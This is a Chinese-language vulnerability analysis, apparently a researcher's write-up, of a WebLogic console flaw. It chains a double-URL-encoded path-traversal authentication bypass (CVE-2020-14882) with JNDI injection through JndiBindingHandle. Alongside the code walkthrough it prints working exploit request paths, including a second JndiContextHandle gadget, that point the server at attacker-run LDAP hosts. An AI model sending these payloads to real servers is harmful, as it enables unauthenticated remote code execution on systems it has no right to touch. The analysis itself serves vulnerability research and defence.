管理员权限的通过JNDI注入导致的RCE。可结合CVE-2020-14882
这个认证绕过漏洞实现未授权RCE。
绕过了Oracle对CVE-2020-14883
这个漏洞的补丁中对handle参数的校验,因为handle的子类依然可以传入JNDI的payload。只是需要其他方式触发这个JNDI注入。
这个CVE应该是多个漏洞的组合,至少有以下两点:
1、官方对CVE-2020-14883的补丁是在com\bea\console\handles\HandleFactory#getHandle的方法中对传入的类的类型进行检查,是否为handle的子类。这里通过handle实现类`com.bea.console.handles.HandleImpl`的子类`com.bea.console.handles.JndiBindingHandle`的接收String的构造方法将jndi的url作为payload传入;单独这一点并不能实现RCE(之前虽然知道补丁的修复方式但是觉得单独这个无法RCE就没细看,谁知道可以结合其他点来实现RCE)。
2、在com.bea.console.actions.jndi.JNDIBindingAction#execute方法中,构造了JndiBindingHandle对象,并通过获取jndi的payload,并进行了特定的拼接(这里根据其拼接方式进行特殊构造),调用javax.naming.Context#lookup实现了jndi注入导致的RCE。
在266行将url进行了一次解码,随后269行中又被赋值到this.normalizedURI
中。
E:\Oracle\Middleware14.1.1.0\wlserver\modules\com.oracle.weblogic.servlet.jar!\weblogic\servlet\internal\AbstractHttpConnectionHandler#dispatch中
在E:\Oracle\Middleware14.1.1.0\oracle_common\modules\com.bea.core.utils.jar!\weblogic\utils\http\AbstractHttpRequestParser#decodeURI中进行了一次解码。
拿着解码了一次的url,根据这个map判断需要如何路由:
具体看看为何这个路径穿越的payload符合/css/*的路由规则。
E:\Oracle\Middleware14.1.1.0\wlserver\modules\com.oracle.weblogic.servlet.jar!\weblogic\servlet\utils\StandardURLMapping#get
resolveVersionManagerForURI中,判断这个url是符合/console/
规则的,是属于consoleapp的。
看这里:
E:\Oracle\Middleware14.1.1.0\wlserver\modules\com.oracle.weblogic.servlet.jar!\weblogic\servlet\security\internal\WebAppSecurity#checkAccess
ResourceConstraint resourceConstraint = checkAllResources ? Holder.ALL_CONSTRAINT : this.getConstraint(request);
具体的是:
this.getConstraint(request)
关键是要:
ResourceConstraint resourceConstraint = checkAllResources ? Holder.ALL_CONSTRAINT : this.getConstraint(request);
这里拿到的resourceConstraint的id是无需认证即可访问的资源。
跟进E:\Oracle\Middleware14.1.1.0\wlserver\modules\com.oracle.weblogic.servlet.jar!\weblogic\servlet\security\internal\WebAppSecurityWLS#getConstraint(String relURI, String method)
(ResourceConstraint)consForAllMethods.get(relURI)
发现又是通过E:\Oracle\Middleware14.1.1.0\wlserver\modules\com.oracle.weblogic.servlet.jar!\weblogic\servlet\utils\StandardURLMapping这个类来进行判断的。
在getTree方法中,进行了第二次URL解码,还原出了攻击者意图访问的受限资源:
前后对比:
如果只这样请求:
/console/css/%25%32%65%25%32%65%25%32%66/consolejndi.portal?cqq_handle=com.bea.console.handles.JndiBindingHandle(%22ldap://127;0.0.1:1389/;AdminServer%22)
则只能触发com.bea.console.handles.JndiBindingHandle
的接收String类型参数的构造器,但是并不能触发RCE,这一点是与CVE-2020-14883不同的地方(14883是直接在构造器中RCE)。
另外这两个参数_pageLabel=JNDIBindingPageGeneral&_nfpb=true
是必需提供的,这是为了触发com.bea.console.actions.jndi.JNDIBindingAction#execute方法。
不懂netuix的路由逻辑,猜测这里是当_pageLabel=JNDIBindingPageGeneral
时,执行jndibinding.portlet对应的action:JNDIBindingAction
不管是登录Cookie访问,还是使用路径穿越的payload,原理都是让 weblogic.servlet.security.internal.WebAppSecurity#hasPermission
返回true。
看看如何让ResourceConstraint
的id指向/css/*
,让我们的payload隐藏起来,符合/css/*
的规则。
看这张图:
想要进入JNDI注入的代码,需要serverMBean不为空,而不为空需要
domainMBean.lookupServer(serverName)
有值,跟进weblogic.management.configuration.DomainMBeanImpl
#lookupServer
即传入的参数必须为AdminServer
。
(这个应该是可以配置的,但是默认情况下就是这个值)
看到JNDI注入的触发点,contenxt和bindName分别由getContext()和getBinding()方法得到,而跟进发现都调用了getComponent()方法。
跟进getComponent()方法,发现遍历serialized(也就是ObjectIdentifier)中的字符,然后累加到currentComponent中,每次碰到;
这个字符, 就将currentComponent添加到list中,然后重置重新计算currentComponent。
最后将list转换成String数组,返回this.components
(%22ldap://127;0.0.1:1389/lnuvcv;AdminServer%22)
所以要保证JNDI的url是由两个;
分割的,第0个和第1个之间通过一个.
进行拼接之后是一个完整的正常的LDAP的url即可,比如这里的:
"ldap://127" + "." + "0.0.1:1389/lnuvcv" = "ldap://127.0.0.1:1389/lnuvcv""
最后第2个是固定的AdminServer
即可。
说明在这张图里。
1. 这里的handle参数的地方,可以是任意以`handle`字符串结尾的比如`111handle`都可以触发;
2. 括号里可以是任意的一个字符,不必是引号:`com.bea.console.handles.JndiBindingHandle(-ldap://weblogic3;hk58t1.dnslog.cn:1389/lnuvcv;AdminServer-)`
后来通过调试发现/console/__Streaming.portal
这个path也可以触发,但是weblogic并没有写在配置文件里,而是:
提给Oracle说已经修复了。确实,到后面流程都是一样的。主要这个特殊的path并不能进行路径穿越,即不能结合CVE-2020-14882,而是需要带上登录的Cookie,可能只是会在绕过流量检测层面有点用吧?
/console/__Streaming.portal?file=/console.portal
/console/__Streaming.portal?file=/consolejndi.portal
后来发现原来@l1nk3r师傅也提到了:
CVE-2020-14882&CVE-2020-14883分析
另外一个gadget的poc(只能console.portal触发):(当时我是找到这个特殊的类了,但是还愁怎么触发呢,当时netuix的路由机制没弄清楚。后来看到@threedr3am师傅发了)
/console/css/%25%32%65%25%32%65%25%32%66/console.portal?_pageLabel=EJBTestHomePage&_nfpb=true&handle=com.bea.console.handles.JndiContextHandle(-ldap://192.168.85.1:1389/1;AdminServer--&returnTo=EJBTestHomePage
通过上面的触发点的实现,推测有两种方式:
1、
继承org.apache.struts.action.Action
然后实现其execute方法;然后在<netuix:strutsContent
中指定action为该类名。
2、
对某方法进行注解org.apache.beehive.netui.pageflow.annotations.Jpf.Action,
然后在<netuix:pageflowContent
中指定这个action为方法名。